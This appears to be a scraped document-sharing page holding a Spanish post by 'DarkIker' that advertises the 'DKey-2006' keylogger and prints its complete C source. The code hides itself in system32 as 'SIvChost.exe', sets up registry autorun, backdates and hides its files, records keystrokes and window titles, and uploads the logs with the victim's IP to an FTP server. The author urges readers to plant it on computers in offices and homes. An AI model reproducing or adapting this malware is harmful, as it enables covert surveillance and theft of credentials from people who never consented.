Вы находитесь на странице: 1из 11

DKEY2006

DKey-2006 es la evolucion de los Keylogger actuales cuya funcionalidad era limitada y en ocasiones impractica, este Keylogger que consume 0% de CPU en ordenadores con mas de 200 Mhz es capaz de subir los archivos a un servidor FTP y enviar informacion al usuario sobre las teclas que se oprimen en tiempo real, sin IPs y sin complicaciones, su tamao aun menor que el de muchos tan solo 10 Kb como maximo y con compresion UPX 4 o 5 Kb dependiendo de la maquina, su configurabilida es uno de sus puntos mas fuertes ya que es totalmente portable sin perder su configuracion, dandole la posiblidad al usuario de enviarlo a quien quiera sin depender de ningun otro archivo, todas estas caracteristicas mas su funcionalidad rapidez y tamao lo ahcen un Keylogger dificil de superar.

Server: file: c:\WINDOWS\system32\1.exe size: 10,355 bytes startup: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run "1" data: C:\WINDOWS\System32\1.exe tested on Windows XP November 13, 2005

Download: http://www.megasecurity.org/trojans/d/dkey/Dkey_all.html source code: /*Modifiquenlo a su gusto */ #include <string.h> #include <stdio.h> #include <stdlib.h> #include <windows.h> #include <winsock2.h> #include <wininet.h> #include <time.h> long filesize(FILE *stream); int ftpst();

www.crackenfind.net

int file_exist(char *filename); void Dey(); void fecha(char *endo); void config(); char char HWND FILE char char servidor[31], usuario[31], clave[17], Svl[21], pa[50]; name[100],pro[16],pat[250],yotas[250]; aquien; *enf; nombre[200],txt[10]=".txt"; *nom;

int WINAPI WinMain (HINSTANCE hThisInstance,HINSTANCE hPrevInstance,LPSTR lpszArgument,int nFunsterStil) { DWORD tamanolen=100; char a[16],b[16],padre[100],laveria[250]; int ot; time_t t; HKEY hreg; char *ubica,ubicac[180],caves[253],host[200],archi[250]; struct hostent *ha; WSADATA wsas; GetModuleFileName(hThisInstance,yotas,250); config(); ubica=ubicac; GetSystemDirectory(ubica,180); sprintf(pat,"%s\\",ubica); strcpy(padre,pat); sprintf(ubica,"%s\\%s",ubica,Svl); GetComputerName(name,&tamanolen); _strdate(a); _strtime(b); nom=nombre; strcpy(nom,name); sprintf(nom,"%s%c%c%c%c",nom,,a[0],a[1],a[3],a[4]); sprintf(laveria,"%s%s",pat,nom); strncat(nom,b,2); strcat(pat,nom); strcat(nom,txt); for(ot=0;ot<=24;ot++) { if(ot<10) sprintf(caves,"%s0%d",laveria,ot); else sprintf(caves,"%s%d",laveria,ot); if(file_exist(caves)==1) { if(remove(caves)!=0) exit(0); } } if(strcmpi(yotas,ubica)!=0) { if(file_exist(ubica)==0) { CopyFile(yotas,ubica,0); fecha(ubica); SetCurrentDirectory(padre); WinExec(ubica,0);

www.crackenfind.net

} exit(0); } RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentV ersion\\Run",0,KEY_ALL_ACCESS,&hreg); RegSetValueEx(hreg,pro,0,REG_SZ,ubica,strlen(ubica)); RegCloseKey(hreg); if(!(enf=fopen(pat,"a"))) { strcpy(pat,"C:\\Windows\\System32\\Qetgeqec"); if(!(enf=fopen(pat,"a"))) exit(0); } WSAStartup(MAKEWORD(2,0),&wsas); gethostname(host,255); ha=gethostbyname(host); WSACleanup(); sprintf(archi,"\n| Ejecutandose en Host: (%s) con IP: (%s)",host,inet_ntoa(*((struct in_addr *)ha->h_addr))); if(strlen(archi)<70) { for(ot=strlen(archi);ot<69;ot++) { archi[ot]=' '; archi[ot+1]='\0'; } strcat(archi," |"); } archi[strlen(archi)]='\0'; ot=GetKBCodePage(); fprintf(enf,"\n+-------------------------------------------------------------------+"); fprintf(enf,"\n| DKey 1.2.1 - se reserva derechos de autor |"); fprintf(enf,"\n| Proceso Iniciado %s %s |",a,b); fprintf(enf,archi); fprintf(enf,"\n| Codigo para modificacion de users de consultorio informatico |"); if(ot!=850) { fprintf(enf,"\nLa configuracion del teclado no es soportada"); fprintf(enf,"\npor DKey 1.2.1"); } fecha(pat); Dey(); } void Dey() { time_t ltime; int teta=0; int anterior=1; int blo=0; char Taquien[255]; char *tetas; int D; int tama=1024; char alfabeta[] = "abcdefghijklmnopqrstuvwxyz"; char alfabetanum[] = "0123456789";

www.crackenfind.net

fflush(stdin); fprintf(enf,"\n+-------------------------------------------------------------------+"); tama=filesize(enf); fecha(pat); aquien=GetForegroundWindow(); tetas=calloc(32768,sizeof(char)); while(1<2) { if(GetForegroundWindow()!=aquien) { if(strlen(Taquien)>0 && strlen(tetas)>0) { time(&ltime); ctime(&ltime); fprintf(enf,"\n\nFecha: %s",ctime(&ltime)); fprintf(enf,"[ Ventana: %s ]",Taquien); fprintf(enf,"\n %s",tetas); if(tama<filesize(enf)) { tama=filesize(enf)+1024; fclose(enf); fecha(pat); ftpst(); if(!(enf=fopen(pat,"a"))) { strcpy(pat,"C:\\Windows\\System32\\Qetgeqec"); if(!(enf=fopen(pat,"a"))) exit(0); } } fecha(pat); free(tetas); tetas=calloc(32768,sizeof(char)); } aquien=GetForegroundWindow(); } else GetWindowText(aquien,Taquien,255); for(teta=4;teta<256;teta++) { if(GetAsyncKeyState(teta)==-32767) { if(teta>=65 && teta<91) { for(D=65;D<91;D++) { if(teta==D) { if(blo==1) strupr(alfabeta); else if(blo==0) strlwr(alfabeta); tetas[strlen(tetas)]=alfabeta[teta-65]; tetas[strlen(tetas)]='\0'; anterior=0; } } } else if(teta>=96 && teta<106)

www.crackenfind.net

{ for(D=96;D<106;D++) { if(teta==D) { tetas[strlen(tetas)]=alfabetanum[teta-96]; tetas[strlen(tetas)]='\0'; anterior=0; } } } switch(teta) { case 8: if (anterior==0) tetas[strlen(tetas)-1]='\0'; else if(anterior==2) tetas[strlen(tetas)-3]='\0'; else if(anterior==1) strcat(tetas,"[Retro]"); break; case 9: strcat(tetas,"[Tab]"); anterior=1; break; case 13: strcat(tetas,"[Enter]"); if (anterior==0) strcat(tetas,"\n"); else if(anterior==2) strcat(tetas,"\n"); anterior=1; break; case 16: strcat(tetas,"[Shift]"); anterior=1; break; case 17: strcat(tetas,"[Ctrl]"); anterior=1; break; case 18: strcat(tetas,"[Alt]"); anterior=1; break; case 20: strcat(tetas,"[Bloq]"); if(blo==1) { blo=0; goto fin; } else if(blo==0) { blo=1; anterior=1; } fin: anterior=1; break; case 27:

www.crackenfind.net

strcat(tetas,"[Escape]"); anterior=1; break; case 32: strcat(tetas," "); anterior=0; break; case 33: strcat(tetas,"[RePag]"); anterior=1; break; case 34: strcat(tetas,"[AvPag]"); anterior=1; break; case 35: strcat(tetas,"[Fin]"); anterior=1; break; case 36: strcat(tetas,"[Inicio]"); anterior=1; break; case 37: strcat(tetas,"[Izquierda]"); anterior=1; break; case 38: strcat(tetas,"[Arriba]"); anterior=1; break; case 39: strcat(tetas,"[Derecha]"); anterior=1; break; case 40: strcat(tetas,"[Abajo]"); anterior=1; break; case 44: strcat(tetas,"[ImprPant]"); anterior=1; break; case 45: strcat(tetas,"[Insert]"); anterior=1; break; case 46: strcat(tetas,"[Supr]"); anterior=1; break; case 48: tetas[strlen(tetas)]='0'; tetas[strlen(tetas)]='\0'; anterior=0; break; case 49: tetas[strlen(tetas)]='1'; tetas[strlen(tetas)]='\0'; anterior=0; break;

www.crackenfind.net

case 50: tetas[strlen(tetas)]='2'; tetas[strlen(tetas)]='\0'; anterior=0; break; case 51: tetas[strlen(tetas)]='3'; tetas[strlen(tetas)]='\0'; anterior=0; break; case 52: tetas[strlen(tetas)]='4'; tetas[strlen(tetas)]='\0'; anterior=0; break; case 53: tetas[strlen(tetas)]='5'; tetas[strlen(tetas)]='\0'; anterior=0; break; case 54: tetas[strlen(tetas)]='6'; tetas[strlen(tetas)]='\0'; anterior=0; break; case 55: tetas[strlen(tetas)]='7'; tetas[strlen(tetas)]='\0'; anterior=0; break; case 56: tetas[strlen(tetas)]='8'; tetas[strlen(tetas)]='\0'; anterior=0; break; case 57: tetas[strlen(tetas)]='9'; tetas[strlen(tetas)]='\0'; anterior=0; break; case 91: strcat(tetas,"[Win]"); anterior=1; break; case 93: strcat(tetas,"[Propie]"); anterior=1; break; case 106: tetas[strlen(tetas)]='*'; tetas[strlen(tetas)]='\0'; anterior=0; break; case 107: tetas[strlen(tetas)]='+'; tetas[strlen(tetas)]='\0'; anterior=0; break; case 109: tetas[strlen(tetas)]='-'; tetas[strlen(tetas)]='\0';

www.crackenfind.net

anterior=0; break; case 110: tetas[strlen(tetas)]='.'; tetas[strlen(tetas)]='\0'; anterior=0; break;; case 111: tetas[strlen(tetas)]='/'; tetas[strlen(tetas)]='\0'; anterior=0; break; case 112: strcat(tetas,"[F1]"); anterior=1; break; case 113: strcat(tetas,"[F2]"); anterior=1; break; case 114: strcat(tetas,"[F3]"); anterior=1; break; case 115: strcat(tetas,"[F4]"); anterior=1; break; case 116: strcat(tetas,"[F5]"); anterior=1; break; case 117: strcat(tetas,"[F6]"); anterior=1; break; case 118: strcat(tetas,"[F7]"); anterior=1; break; case 119: strcat(tetas,"[F8]"); anterior=1; break; case 120: strcat(tetas,"[F9]"); anterior=1; break; case 121: strcat(tetas,"[F10]"); anterior=1; break; case 122: strcat(tetas,"[F11]"); anterior=1; break; case 123: strcat(tetas,"[F12]"); anterior=1; break; case 144:

www.crackenfind.net

strcat(tetas,"[BloqNum]"); anterior=1; break; case 145: strcat(tetas,"[BloqDespl]"); anterior=1; break; case 186: strcat(tetas,"[]"); anterior=2; break; case 187: tetas[strlen(tetas)]='+'; tetas[strlen(tetas)]='\0'; anterior=0; break; case 188: tetas[strlen(tetas)]=','; tetas[strlen(tetas)]='\0'; anterior=0; break; case 189: tetas[strlen(tetas)]='-'; tetas[strlen(tetas)]='\0'; anterior=0; break; case 190: tetas[strlen(tetas)]='.'; tetas[strlen(tetas)]='\0'; anterior=0; break; case 191: tetas[strlen(tetas)]=''; tetas[strlen(tetas)]='\0'; anterior=0; break; case 192: if(blo==1) { strcat(tetas,""); } else if(blo==0) { strcat(tetas,""); } anterior=0; break; case 219: strcat(tetas,"[']"); anterior=2; break; case 220: tetas[strlen(tetas)]='\\'; tetas[strlen(tetas)]='\0'; anterior=0; break; case 221: tetas[strlen(tetas)]=''; tetas[strlen(tetas)]='\0'; anterior=0; break;

www.crackenfind.net

case 222: strcat(tetas,"["); anterior=0; break; case 226: tetas[strlen(tetas)]='<'; tetas[strlen(tetas)]='\0'; anterior=0; break; }; } } } } int file_exist(char *filename) { return (access(filename, 0) == 0); } long filesize(FILE *stream) { long curpos, length; curpos = ftell(stream); fseek(stream, 0L, SEEK_END); length = ftell(stream); fseek(stream, curpos, SEEK_SET); return length; } int ftpst() { HINTERNET con,connecta,archivo; con=InternetOpen("Drox Team",INTERNET_SCHEME_FTP,NULL,NULL,0); if(con!=NULL) { connecta=InternetConnect(con,servidor,21,usuario,clave,INTERNET_SERVIC E_FTP,INTERNET_FLAG_PASSIVE,0); if(connecta!=NULL) { archivo=FtpOpenFile(connecta,nom,GENERIC_WRITE,FTP_TRANSFER_TYPE_ASCII ,0); InternetCloseHandle(archivo); FtpPutFile(connecta,pat,nom,FTP_TRANSFER_TYPE_ASCII,0); InternetCloseHandle(connecta); } InternetCloseHandle(con); } return 0; } void fecha(char *endo) { FILETIME ft; SYSTEMTIME st; BOOL f; HANDLE hFile;

www.crackenfind.net

hFile=CreateFile(endo,GENERIC_READ | GENERIC_WRITE,0,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0); st.wDay=1; st.wDayOfWeek=0; st.wHour=5; st.wMilliseconds=0; st.wMinute=0; st.wMonth=1; st.wSecond=0; st.wYear=2000; SystemTimeToFileTime(&st, &ft); f=SetFileTime(hFile, &ft, &ft, &ft); SetFileAttributes(endo,2|4); CloseHandle(hFile); return; } void config() /* Modulo alterado */ { strcpy(servidor,"Servidor FTP"); strcpy(usuario,"Nombre de usuario"); strcpy(clave,"123456 :P"); strcpy(Svl,"SIvChost.exe"); strcpy(pro,"SIvChost"); return; }

Ahi termino esto les dara con 100 por 100 de efectividad todo lo accesado en la maquina victima ademas de la ip de la victima y les mandara un log a el ftp deseado espero que lo prueben y veran su utilidad es muy muy buena ademas un consejo no lo manden a cybers sino tendran millones de cuentas hotmail y se aburriran denle un fin mas provechoso oficinas casas etc ...........saludos

Autor: DarkIker

www.crackenfind.net

Вам также может понравиться